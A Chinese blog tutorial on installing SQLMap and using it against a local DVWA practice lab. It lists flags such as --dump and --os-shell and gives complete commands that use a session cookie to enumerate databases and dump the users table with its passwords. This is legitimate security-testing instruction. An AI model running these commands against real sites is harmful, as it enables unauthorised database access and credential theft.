安全测试必备工具——SQLMap 安装及基本应用

2024-05-01 02:12

本文主要是介绍安全测试必备工具——SQLMap 安装及基本应用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响,以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。

1、什么是SQLMap?

SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。

2、SQLMap下载

官方网站下载:http://sqlmap.org/

图片

这里选择Github去下载

图片

3、win10下SQLMap安装

1、先安装好python环境,不管是2还是3版本都支持(python安装过程略,自行百度解决)。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。

图片

2、将下载好的sqlmap-master.zip压缩包,解压到自己需要的目录

3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py即开启工具使用

图片

4、SQLMap的常用参数

-u∶指定目标URL进行sql注入检测

--batch:自动去做问题应答

--cookie :当前会话的cookie值

--dbs: 查询当前网站所有数据库

-D:指定数据库名

--tables:查询数据库下的所有表名

-T:指定表名

--columns:指定查询所有字段

-C:指定字段的名称

--dump:查询并导出其数据,拖库

--current-db:获取当前数据库

--current-user :获取当前登录数据库用户名称

--users:查询数据库的所有用户

--password:查询数据库用户的密码

--os-shell:直接返回一个shell(如果存在的话)

-flush-session 刷新session文件

如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。

5、SQLMap的基本应用

基于DVWA靶场以下模块,进行SQLMap实操演示

图片

1、注入判断 -u

输入:python sqlmap.py -u http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作--会报错,需要登录。

图片

图片

2、添加cookie绕过登录

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low"。

运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch

图片

图片

通过以上结果可知,存在SQL注入点。

3、查询当下所有数据库

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" --dbs --batch

图片

4、查询指定库下的表名

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa --tables

图片

5、查指定表的所有字段

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users --columns

图片

6、查询字段内容

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users -C user,password --dump

这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。

图片

最后

此文中提到的工具及技术操作,仅用于学术交流,请遵守《网络安全法》,严禁将此文中工具和技术用于非法攻击测试。

这篇关于安全测试必备工具——SQLMap 安装及基本应用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/950481

相关文章

Redis 基本数据类型和使用详解

《Redis基本数据类型和使用详解》String是Redis最基本的数据类型,一个键对应一个值,它的功能十分强大,可以存储字符串、整数、浮点数等多种数据格式,本文给大家介绍Redis基本数据类型和... 目录一、Redis 入门介绍二、Redis 的五大基本数据类型2.1 String 类型2.2 Hash

基于Python开发Windows自动更新控制工具

《基于Python开发Windows自动更新控制工具》在当今数字化时代,操作系统更新已成为计算机维护的重要组成部分,本文介绍一款基于Python和PyQt5的Windows自动更新控制工具,有需要的可... 目录设计原理与技术实现系统架构概述数学建模工具界面完整代码实现技术深度分析多层级控制理论服务层控制注

利用Python操作Word文档页码的实际应用

《利用Python操作Word文档页码的实际应用》在撰写长篇文档时,经常需要将文档分成多个节,每个节都需要单独的页码,下面:本文主要介绍利用Python操作Word文档页码的相关资料,文中通过代码... 目录需求:文档详情:要求:该程序的功能是:总结需求:一次性处理24个文档的页码。文档详情:1、每个

Java JUC并发集合详解之线程安全容器完全攻略

《JavaJUC并发集合详解之线程安全容器完全攻略》Java通过java.util.concurrent(JUC)包提供了一整套线程安全的并发容器,它们不仅是简单的同步包装,更是基于精妙并发算法构建... 目录一、为什么需要JUC并发集合?二、核心并发集合分类与详解三、选型指南:如何选择合适的并发容器?在多

Java Instrumentation从概念到基本用法详解

《JavaInstrumentation从概念到基本用法详解》JavaInstrumentation是java.lang.instrument包提供的API,允许开发者在类被JVM加载时对其进行修改... 目录一、什么是 Java Instrumentation主要用途二、核心概念1. Java Agent

python依赖管理工具UV的安装和使用教程

《python依赖管理工具UV的安装和使用教程》UV是一个用Rust编写的Python包安装和依赖管理工具,比传统工具(如pip)有着更快、更高效的体验,:本文主要介绍python依赖管理工具UV... 目录前言一、命令安装uv二、手动编译安装2.1在archlinux安装uv的依赖工具2.2从github

Java中的分布式系统开发基于 Zookeeper 与 Dubbo 的应用案例解析

《Java中的分布式系统开发基于Zookeeper与Dubbo的应用案例解析》本文将通过实际案例,带你走进基于Zookeeper与Dubbo的分布式系统开发,本文通过实例代码给大家介绍的非常详... 目录Java 中的分布式系统开发基于 Zookeeper 与 Dubbo 的应用案例一、分布式系统中的挑战二

Java 缓存框架 Caffeine 应用场景解析

《Java缓存框架Caffeine应用场景解析》文章介绍Caffeine作为高性能Java本地缓存框架,基于W-TinyLFU算法,支持异步加载、灵活过期策略、内存安全机制及统计监控,重点解析其... 目录一、Caffeine 简介1. 框架概述1.1 Caffeine的核心优势二、Caffeine 基础2

使用Node.js和PostgreSQL构建数据库应用

《使用Node.js和PostgreSQL构建数据库应用》PostgreSQL是一个功能强大的开源关系型数据库,而Node.js是构建高效网络应用的理想平台,结合这两个技术,我们可以创建出色的数据驱动... 目录初始化项目与安装依赖建立数据库连接执行CRUD操作查询数据插入数据更新数据删除数据完整示例与最佳

JDK8(Java Development kit)的安装与配置全过程

《JDK8(JavaDevelopmentkit)的安装与配置全过程》文章简要介绍了Java的核心特点(如跨平台、JVM机制)及JDK/JRE的区别,重点讲解了如何通过配置环境变量(PATH和JA... 目录Java特点JDKJREJDK的下载,安装配置环境变量总结Java特点说起 Java,大家肯定都